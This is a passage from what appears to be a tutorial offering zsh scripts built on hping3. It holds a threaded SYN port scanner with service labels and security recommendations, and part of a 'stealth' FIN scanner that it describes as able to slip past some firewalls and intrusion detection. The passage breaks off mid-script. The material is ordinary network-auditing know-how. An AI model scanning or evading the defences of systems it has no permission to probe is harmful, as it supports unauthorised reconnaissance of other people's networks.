1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5905,5906,5907,5908,5909,5910,5911,5912,5913,5914,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6379,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9300,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11211,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27017,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389"
)

# Service mapping
declare -A SERVICE_NAMES=(
    [20]="FTP-Data"
    [21]="FTP"
    [22]="SSH"
    [23]="Telnet"
    [25]="SMTP"
    [53]="DNS"
    [67]="DHCP"
    [68]="DHCP"
    [69]="TFTP"
    [80]="HTTP"
    [110]="POP3"
    [123]="NTP"
    [135]="MSRPC"
    [137]="NetBIOS-NS"
    [138]="NetBIOS-DGM"
    [139]="NetBIOS-SSN"
    [143]="IMAP"
    [161]="SNMP"
    [162]="SNMP-Trap"
    [389]="LDAP"
    [443]="HTTPS"
    [445]="SMB"
    [465]="SMTPS"
    [514]="Syslog"
    [515]="LPD"
    [587]="SMTP-TLS"
    [636]="LDAPS"
    [873]="Rsync"
    [993]="IMAPS"
    [995]="POP3S"
    [1433]="MSSQL"
    [1521]="Oracle"
    [1723]="PPTP"
    [2049]="NFS"
    [3306]="MySQL"
    [3389]="RDP"
    [5432]="PostgreSQL"
    [5900]="VNC"
    [5984]="CouchDB"
    [6379]="Redis"
    [7000]="Cassandra"
    [8000]="HTTP-Alt"
    [8080]="HTTP-Proxy"
    [8086]="InfluxDB"
    [8443]="HTTPS-Alt"
    [8888]="HTTP-Alt2"
    [9000]="SonarQube"
    [9042]="Cassandra-CQL"
    [9200]="Elasticsearch"
    [11211]="Memcached"
    [27017]="MongoDB"
)

# Function to print usage
print_usage() {
    local script_name="./common_ports_scan.sh"
    echo "Usage: $script_name <target> [scan_type|custom_ports] [threads]"
    echo ""
    echo "Scan Types:"
    echo "  default    - Top 15 most common ports (default)"
    echo "  web        - Web server ports (80, 443, 8080, etc.)"
    echo "  mail       - Mail server ports (25, 110, 143, etc.)"
    echo "  database   - Database ports (MySQL, PostgreSQL, MongoDB, etc.)"
    echo "  remote     - Remote access ports (SSH, RDP, VNC, etc.)"
    echo "  file       - File sharing ports (FTP, SMB, NFS, etc.)"
    echo "  top100     - Top 100 most common ports"
    echo "  top1000    - Top 1000 most common ports"
    echo "  custom     - Specify custom ports as comma-separated list"
    echo ""
    echo "Parameters:"
    echo "  target     - Hostname or IP address to scan"
    echo "  scan_type  - Type of scan or comma-separated port list"
    echo "  threads    - Number of parallel threads (default: 50)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com                    # Scan default ports"
    echo "  $script_name example.com web                # Scan web ports"
    echo "  $script_name example.com database           # Scan database ports"
    echo "  $script_name example.com top100             # Scan top 100 ports"
    echo "  $script_name example.com \"22,80,443,3306\"   # Custom ports"
    echo "  $script_name example.com top1000 100        # Top 1000 with 100 threads"
}

# Function to get service name
get_service_name() {
    local port=$1
    if [[ -n "${SERVICE_NAMES[$port]}" ]]; then
        echo "${SERVICE_NAMES[$port]}"
    else
        # Try to get from system services
        local service=$(grep -w "^[^#]*$port/tcp" /etc/services 2>/dev/null | head -1 | awk '{print $1}')
        if [[ -n "$service" ]]; then
            echo "$service"
        else
            echo "Unknown"
        fi
    fi
}

# Function to scan a single port
scan_port() {
    local target=$1
    local port=$2
    local tmpfile=$3
    
    # Run hping3 with timeout
    local result=$(timeout 2 hping3 -S -p "$port" -c 1 "$target" 2>/dev/null || true)
    
    if echo "$result" | grep -q "flags=SA"; then
        # Port is open (SYN+ACK received)
        local service=$(get_service_name "$port")
        echo "$port:$service" >> "$tmpfile"
        echo -e "${GREEN}[✓] Port $port/tcp open - $service${NC}"
    fi
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Determine ports to scan
if [[ "$SCAN_TYPE" =~ ^[0-9,]+$ ]]; then
    # Custom ports provided
    PORTS_TO_SCAN="$SCAN_TYPE"
    SCAN_DESCRIPTION="Custom ports"
elif [[ -n "${PORT_CATEGORIES[$SCAN_TYPE]}" ]]; then
    # Predefined category
    PORTS_TO_SCAN="${PORT_CATEGORIES[$SCAN_TYPE]}"
    SCAN_DESCRIPTION="$SCAN_TYPE ports"
else
    # Invalid scan type, use default
    PORTS_TO_SCAN="${PORT_CATEGORIES[default]}"
    SCAN_DESCRIPTION="Default common ports"
    if [[ -n "$SCAN_TYPE" ]] && [[ "$SCAN_TYPE" != "default" ]]; then
        echo -e "${YELLOW}Warning: Unknown scan type '$SCAN_TYPE', using default${NC}"
    fi
fi

# Parse threads parameter
if [[ -n "$CUSTOM_PORTS" ]] && [[ "$CUSTOM_PORTS" =~ ^[0-9]+$ ]]; then
    THREADS="$CUSTOM_PORTS"
elif [[ -n "$3" ]] && [[ "$3" =~ ^[0-9]+$ ]]; then
    THREADS="$3"
fi

# Validate threads
if ! [[ "$THREADS" =~ ^[0-9]+$ ]] || [ "$THREADS" -lt 1 ] || [ "$THREADS" -gt 500 ]; then
    THREADS=50
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check for timeout command and create appropriate wrapper
if command -v gtimeout &> /dev/null; then
    # macOS with coreutils installed
    timeout() {
        gtimeout "$@"
    }
elif command -v timeout &> /dev/null; then
    # Linux or other systems with timeout
    timeout() {
        command timeout "$@"
    }
else
    # No timeout command available
    echo -e "${YELLOW}Warning: timeout command not found${NC}"
    echo "Install with: brew install coreutils"
    echo "Continuing without timeout protection..."
    echo ""
    timeout() {
        shift  # Remove timeout value
        "$@"   # Execute command directly
    }
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: TCP SYN scan requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Convert ports to array (zsh compatible)
IFS=',' PORT_ARRAY=(${=PORTS_TO_SCAN})
TOTAL_PORTS=${#PORT_ARRAY[@]}

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║      COMMON PORTS SCANNER              ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}      $TARGET"
echo -e "  ${BLUE}Scan Type:${NC}   $SCAN_DESCRIPTION"
echo -e "  ${BLUE}Total Ports:${NC} $TOTAL_PORTS"
echo -e "  ${BLUE}Threads:${NC}     $THREADS"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Resolve target
echo -e "${YELLOW}[*] Resolving target...${NC}"
TARGET_IP=$(ping -c 1 "$TARGET" 2>/dev/null | grep -oE "\([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\)" | tr -d '()')
if [ -z "$TARGET_IP" ]; then
    TARGET_IP="$TARGET"
    echo -e "${YELLOW}[*] Could not resolve hostname, using as-is${NC}"
else
    echo -e "${GREEN}[✓] Target resolved to: $TARGET_IP${NC}"
fi

# Create temporary files
TMPDIR=$(mktemp -d)
OPEN_PORTS_FILE="$TMPDIR/open_ports"
trap "rm -rf $TMPDIR" EXIT

# Start time
START_TIME=$(date +%s)

echo ""
echo -e "${GREEN}[+] Starting scan of $TOTAL_PORTS common ports...${NC}"
echo ""

# Progress tracking
SCANNED=0

# Function to update progress
show_progress() {
    local current=$1
    local total=$2
    if [ "$total" -eq 0 ]; then
        return
    fi
    local percent=$((current * 100 / total))
    printf "\r${CYAN}Progress: [%-50s] %d%% (%d/%d ports)${NC}" \
           "$(printf '#%.0s' $(seq 1 $((percent / 2))))" \
           "$percent" "$current" "$total"
}

# Main scanning loop
for port in "${PORT_ARRAY[@]}"; do
    # Remove any whitespace
    port=$(echo "$port" | tr -d ' ')
    
    # Launch scan in background
    scan_port "$TARGET_IP" "$port" "$OPEN_PORTS_FILE" &
    
    # Manage parallel jobs
    JOBS_COUNT=$(jobs -r | wc -l)
    while [ "$JOBS_COUNT" -ge "$THREADS" ]; do
        sleep 0.05
        JOBS_COUNT=$(jobs -r | wc -l)
    done
    
    # Update progress
    ((SCANNED++))
    show_progress "$SCANNED" "$TOTAL_PORTS"
done

# Wait for remaining jobs
echo -e "\n${YELLOW}[*] Waiting for remaining scans to complete...${NC}"
wait

# End time
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))

# Process results
echo -e "\r\033[K"
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}           SCAN RESULTS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Count open ports
OPEN_COUNT=0
if [ -f "$OPEN_PORTS_FILE" ]; then
    OPEN_COUNT=$(wc -l < "$OPEN_PORTS_FILE" | tr -d ' ')
fi

# Display results
if [ "$OPEN_COUNT" -gt 0 ]; then
    echo -e "${GREEN}[✓] Found $OPEN_COUNT open port(s)${NC}"
    echo ""
    echo -e "${MAGENTA}Open Ports Summary:${NC}"
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    printf "${WHITE}%-10s %-20s${NC}\n" "PORT" "SERVICE"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    # Sort and display open ports
    sort -t: -k1 -n "$OPEN_PORTS_FILE" | while IFS=: read -r port service; do
        printf "${GREEN}%-10s${NC} ${YELLOW}%-20s${NC}\n" "$port/tcp" "$service"
    done
    
    # Group by service type
    echo ""
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${MAGENTA}Services by Category:${NC}"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    # Categorize services
    WEB_PORTS=""
    MAIL_PORTS=""
    DB_PORTS=""
    REMOTE_PORTS=""
    FILE_PORTS=""
    OTHER_PORTS=""
    
    while IFS=: read -r port service; do
        case $port in
            80|443|8080|8443|8000|8888|3000|5000|9000)
                WEB_PORTS="${WEB_PORTS}${port}($service) "
                ;;
            25|110|143|465|587|993|995)
                MAIL_PORTS="${MAIL_PORTS}${port}($service) "
                ;;
            1433|1521|3306|5432|6379|7000|9200|11211|27017)
                DB_PORTS="${DB_PORTS}${port}($service) "
                ;;
            22|23|3389|5900|5901|5902)
                REMOTE_PORTS="${REMOTE_PORTS}${port}($service) "
                ;;
            20|21|69|139|445|873|2049)
                FILE_PORTS="${FILE_PORTS}${port}($service) "
                ;;
            *)
                OTHER_PORTS="${OTHER_PORTS}${port}($service) "
                ;;
        esac
    done < "$OPEN_PORTS_FILE"
    
    [[ -n "$WEB_PORTS" ]] && echo -e "${BLUE}Web Services:${NC} $WEB_PORTS"
    [[ -n "$MAIL_PORTS" ]] && echo -e "${BLUE}Mail Services:${NC} $MAIL_PORTS"
    [[ -n "$DB_PORTS" ]] && echo -e "${BLUE}Database Services:${NC} $DB_PORTS"
    [[ -n "$REMOTE_PORTS" ]] && echo -e "${BLUE}Remote Access:${NC} $REMOTE_PORTS"
    [[ -n "$FILE_PORTS" ]] && echo -e "${BLUE}File Services:${NC} $FILE_PORTS"
    [[ -n "$OTHER_PORTS" ]] && echo -e "${BLUE}Other Services:${NC} $OTHER_PORTS"
    
    # Save report
    REPORT_FILE="common_ports_${TARGET}_$(date +%Y%m%d_%H%M%S).txt"
    {
        echo "Common Ports Scan Report"
        echo "========================"
        echo "Target: $TARGET ($TARGET_IP)"
        echo "Scan Type: $SCAN_DESCRIPTION"
        echo "Total Ports Scanned: $TOTAL_PORTS"
        echo "Open Ports Found: $OPEN_COUNT"
        echo "Scan Date: $(date)"
        echo "Duration: ${DURATION} seconds"
        echo ""
        echo "Open Ports:"
        echo "-----------"
        sort -t: -k1 -n "$OPEN_PORTS_FILE" | while IFS=: read -r port service; do
            printf "%-10s %s\n" "$port/tcp" "$service"
        done
    } > "$REPORT_FILE"
    
    echo ""
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${BLUE}[*] Report saved to: $REPORT_FILE${NC}"
else
    echo -e "${YELLOW}[-] No open ports found${NC}"
    echo -e "${YELLOW}    Possible reasons:${NC}"
    echo -e "${YELLOW}    • All scanned ports are closed${NC}"
    echo -e "${YELLOW}    • Firewall is blocking connections${NC}"
    echo -e "${YELLOW}    • Target is down or unreachable${NC}"
fi

# Display statistics
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}           STATISTICS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "  ${BLUE}Ports Scanned:${NC}  $TOTAL_PORTS"
echo -e "  ${GREEN}Open Ports:${NC}     $OPEN_COUNT"
if [ "$TOTAL_PORTS" -gt 0 ]; then
    echo -e "  ${RED}Success Rate:${NC}   $(( OPEN_COUNT * 100 / TOTAL_PORTS ))%"
else
    echo -e "  ${RED}Success Rate:${NC}   N/A"
fi
echo -e "  ${BLUE}Scan Duration:${NC}  ${DURATION} seconds"
if [ "$TOTAL_PORTS" -gt 0 ]; then
    echo -e "  ${BLUE}Scan Rate:${NC}      ~$(( TOTAL_PORTS / (DURATION + 1) )) ports/sec"
else
    echo -e "  ${BLUE}Scan Rate:${NC}      N/A"
fi
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Provide recommendations
if [ "$OPEN_COUNT" -gt 0 ]; then
    echo ""
    echo -e "${YELLOW}Security Recommendations:${NC}"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    # Check for risky services
    if grep -q "23:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${RED}⚠ Telnet (port 23) is insecure - use SSH instead${NC}"
    fi
    if grep -q "21:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${YELLOW}⚠ FTP (port 21) transmits credentials in plaintext${NC}"
    fi
    if grep -q "139:\|445:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${YELLOW}⚠ SMB/NetBIOS ports are exposed - ensure proper access controls${NC}"
    fi
    if grep -q "3389:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${YELLOW}⚠ RDP (port 3389) is exposed - use VPN or restrict access${NC}"
    fi
    if grep -q "3306:\|5432:\|1433:" "$OPEN_PORTS_FILE" 2>/dev/null; then
        echo -e "${YELLOW}⚠ Database ports are exposed - should not be publicly accessible${NC}"
    fi
fi

echo ""
exit 0
EOF

chmod +x ~/hping3-scripts/common_ports_scan.sh

How to Run:

# Scan default common ports
./common_ports_scan.sh example.com

# Scan web server ports
./common_ports_scan.sh example.com web

# Scan database ports
./common_ports_scan.sh example.com database

# Scan top 100 ports
./common_ports_scan.sh example.com top100

# Scan top 1000 ports with 100 threads
./common_ports_scan.sh example.com top1000 100

# Custom port list
./common_ports_scan.sh example.com "22,80,443,3306,8080"

# Get help
./common_ports_scan.sh --help

Default Ports Included:
– **21**: FTP (File Transfer Protocol)
– **22**: SSH (Secure Shell)
– **23**: Telnet
– **25**: SMTP (Simple Mail Transfer Protocol)
– **53**: DNS (Domain Name System)
– **80**: HTTP (Hypertext Transfer Protocol)
– **443**: HTTPS (HTTP Secure)
– **3306**: MySQL Database
– **3389**: RDP (Remote Desktop Protocol)
– **5432**: PostgreSQL Database

Script 6: Stealth FIN Scanner

Purpose:


Performs FIN scanning, a stealth technique that sends TCP packets with only the FIN flag set. This can bypass some firewalls and intrusion detection systems that only monitor SYN packets.

Create the Script:

cat > ~/hping3-scripts/fin_scan.sh << 'EOF'
#!/bin/zsh

# TCP FIN Scanner using hping3
# Performs stealthy FIN scans to detect firewall rules and port states
# FIN scanning is a stealth technique that may bypass some firewalls
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
WHITE='\033[1;37m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
PORT_SPEC="${2:-80}"
COUNT="${3:-2}"
DELAY="${4:-1}"

# Function to print usage
print_usage() {
    local script_name="./fin_scan.sh"
    echo "Usage: $script_name <target> [port|port_range] [count] [delay]"
    echo ""
    echo "Parameters:"
    echo "  target      - Hostname or IP address to scan"
    echo "  port        - Single port or range (e.g., 80 or 80-90)"
    echo "  count       - Number of FIN packets per port (default: 2)"
    echo "  delay       - Delay between packets in seconds (default: 1)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com                # Scan port 80"
    echo "  $script_name example.com 443            # Scan port 443"
    echo "  $script_name example.com 80-85          # Scan ports 80-85"
    echo "  $script_name 192.168.1.1 22 3 0.5       # 3 packets, 0.5s delay"
    echo ""
    echo "FIN Scan Technique:"
    echo "  - Sends TCP packets with only FIN flag set"
    echo "  - CLOSED ports respond with RST"
    echo "  - OPEN ports typically don't respond (stealth)"
    echo "  - FILTERED ports may send ICMP or no response"
    echo ""
    echo "Response Interpretation:"
    echo "  RST received    = Port is CLOSED"
    echo "  No response     = Port is likely OPEN or FILTERED"
    echo "  ICMP received   = Port is FILTERED by firewall"
}

# Function to validate port
validate_port() {
    local port=$1
    if ! [[ "$port" =~ ^[0-9]+$ ]]; then
        return 1
    fi
    if [ "$port" -lt 1 ] || [ "$port" -gt 65535 ]; then
        return 1
    fi
    return 0
}

# Function to get service name
get_service_name() {
    local port=$1
    # Trim any whitespace from port number
    port=$(echo "$port" | tr -d ' ')
    # Common services
    case $port in
        21) echo "FTP" ;;
        22) echo "SSH" ;;
        23) echo "Telnet" ;;
        25) echo "SMTP" ;;
        53) echo "DNS" ;;
        80) echo "HTTP" ;;
        110) echo "POP3" ;;
        143) echo "IMAP" ;;
        443) echo "HTTPS" ;;
        445) echo "SMB" ;;
        3306) echo "MySQL" ;;
        3389) echo "RDP" ;;
        5432) echo "PostgreSQL" ;;
        6379) echo "Redis" ;;
        8080) echo "HTTP-Alt" ;;
        8443) echo "HTTPS-Alt" ;;
        27017) echo "MongoDB" ;;
        *)
            # Try system services
            local service=$(grep -w "^[^#]*$port/tcp" /etc/services 2>/dev/null | head -1 | awk '{print $1}')
            if [[ -n "$service" ]]; then
                echo "$service"
            else
                echo "Unknown"
            fi
            ;;
    esac
}

# Function to perform FIN scan on a single port
scan_port() {
    local target=$1
    local port=$2
    local count=$3
    local delay=$4
    
    local service=$(get_service_name "$port")
    echo ""
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${BLUE}Scanning Port:${NC} $port/tcp ($service)"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    local responses=0
    local rst_count=0
    local icmp_count=0
    local no_response=0
    
    for i in $(seq 1 $count); do
        echo -e "${YELLOW}[→] Sending FIN packet $i/$count to port $port...${NC}"
        
        # Run hping3 with FIN flag
        local result=$(hping3 -F -p "$port" -c 1 "$target" 2>&1)
        
        # Analyze response
        if echo "$result" | grep -q "flags=RA\|flags=R"; then
            echo -e "${RED}[←] RST received - Port $port is CLOSED${NC}"
            ((rst_count++))
            ((responses++))
        elif echo "$result" | grep -q "ICMP"; then
            echo -e "${YELLOW}[←] ICMP received - Port $port is FILTERED${NC}"
            ((icmp_count++))
            ((responses++))
        elif echo "$result" | grep -q "timeout\|100% packet loss"; then
            echo -e "${GREEN}[◊] No response - Port $port may be OPEN or heavily FILTERED${NC}"
            ((no_response++))
        else
            # Check for any other response
            if echo "$result" | grep -q "len="; then
                echo -e "${BLUE}[←] Unexpected response received${NC}"
                ((responses++))
            else
                echo -e "${GREEN}[◊] No response - Port $port may be OPEN${NC}"
                ((no_response++))
            fi
        fi
        
        # Add delay between packets
        if [ "$i" -lt "$count" ] && [ "$delay" != "0" ]; then
            sleep "$delay"
        fi
    done
    
    # Port state analysis
    echo ""
    echo -e "${CYAN}Port $port Analysis:${NC}"
    echo -e "  Packets sent: $count"
    echo -e "  RST responses: $rst_count"
    echo -e "  ICMP responses: $icmp_count"
    echo -e "  No responses: $no_response"
    
    # Determine likely port state
    if [ "$rst_count" -gt 0 ]; then
        echo -e "  ${RED}▸ Verdict: Port $port is CLOSED${NC}"
    elif [ "$icmp_count" -gt 0 ]; then
        echo -e "  ${YELLOW}▸ Verdict: Port $port is FILTERED (firewall blocking)${NC}"
    elif [ "$no_response" -eq "$count" ]; then
        echo -e "  ${GREEN}▸ Verdict: Port $port is likely OPEN or silently FILTERED${NC}"
        echo -e "  ${CYAN}  Note: No response to FIN often indicates OPEN port${NC}"
    else
        echo -e "  ${BLUE}▸ Verdict: Port $port state is UNCERTAIN${NC}"
    fi
    
    return $responses
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Parse port specification (single port or range)
START_PORT=""
END_PORT=""

if [[ "$PORT_SPEC" =~ ^([0-9]+)-([0-9]+)$ ]]; then
    # Port range (zsh compatible)
    START_PORT="${match[1]}"
    END_PORT="${match[2]}"
    
    # Validate range
    if ! validate_port "$START_PORT" || ! validate_port "$END_PORT"; then
        echo -e "${RED}Error: Invalid port range${NC}"
        exit 1
    fi
    
    if [ "$START_PORT" -gt "$END_PORT" ]; then
        echo -e "${RED}Error: Start port must be less than or equal to end port${NC}"
        exit 1
    fi
elif [[ "$PORT_SPEC" =~ ^[0-9]+$ ]]; then
    # Single port
    if ! validate_port "$PORT_SPEC"; then
        echo -e "${RED}Error: Port must be between 1-65535${NC}"
        exit 1
    fi
    START_PORT="$PORT_SPEC"
    END_PORT="$PORT_SPEC"
else
    echo -e "${RED}Error: Invalid port specification${NC}"
    echo "Use a single port (e.g., 80) or range (e.g., 80-90)"
    exit 1
fi

# Validate count
if ! [[ "$COUNT" =~ ^[0-9]+$ ]] || [ "$COUNT" -lt 1 ]; then
    echo -e "${RED}Error: Count must be a positive number${NC}"
    exit 1
fi

# Validate delay
if ! [[ "$DELAY" =~ ^[0-9]*\.?[0-9]+$ ]]; then
    echo -e "${RED}Error: Delay must be a number${NC}"
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: FIN scan requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Calculate total ports
TOTAL_PORTS=$((END_PORT - START_PORT + 1))

# Display header
echo -e "${MAGENTA}╔════════════════════════════════════════╗${NC}"
echo -e "${MAGENTA}║         TCP FIN SCANNER                ║${NC}"
echo -e "${MAGENTA}║      (Stealth Scan Technique)          ║${NC}"
echo -e "${MAGENTA}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}         $TARGET"
if [ "$START_PORT" -eq "$END_PORT" ]; then
    echo -e "  ${BLUE}Port:${NC}           $START_PORT"
else
    echo -e "  ${BLUE}Port Range:${NC}     $START_PORT-$END_PORT ($TOTAL_PORTS ports)"
fi
echo -e "  ${BLUE}Packets/Port:${NC}   $COUNT"
echo -e "  ${BLUE}Packet Delay:${NC}   ${DELAY}s"
echo -e "  ${BLUE}Scan Type:${NC}      TCP FIN (Stealth)"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Resolve target
echo ""
echo -e "${YELLOW}[*] Resolving target...${NC}"
TARGET_IP=$(ping -c 1 "$TARGET" 2>/dev/null | grep -oE "\([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\)" | tr -d '()')
if [ -z "$TARGET_IP" ]; then
    TARGET_IP="$TARGET"
    echo -e "${YELLOW}[*] Could not resolve hostname, using as-is${NC}"
else
    echo -e "${GREEN}[✓] Target resolved to: $TARGET_IP${NC}"
fi

# Start time
START_TIME=$(date +%s)

echo ""
echo -e "${GREEN}[+] Starting FIN scan...${NC}"
echo -e "${CYAN}[i] FIN scan sends TCP packets with only the FIN flag set${NC}"
echo -e "${CYAN}[i] This technique may bypass some packet filters and IDS${NC}"

# Results tracking
declare -A PORT_STATES
OPEN_PORTS=""
CLOSED_PORTS=""
FILTERED_PORTS=""

# Main scanning loop
for port in $(seq $START_PORT $END_PORT); do
    scan_port "$TARGET_IP" "$port" "$COUNT" "$DELAY"
    
    # Store result based on responses
    if [ $? -eq 0 ]; then
        # No responses likely means open
        OPEN_PORTS="${OPEN_PORTS}$port "
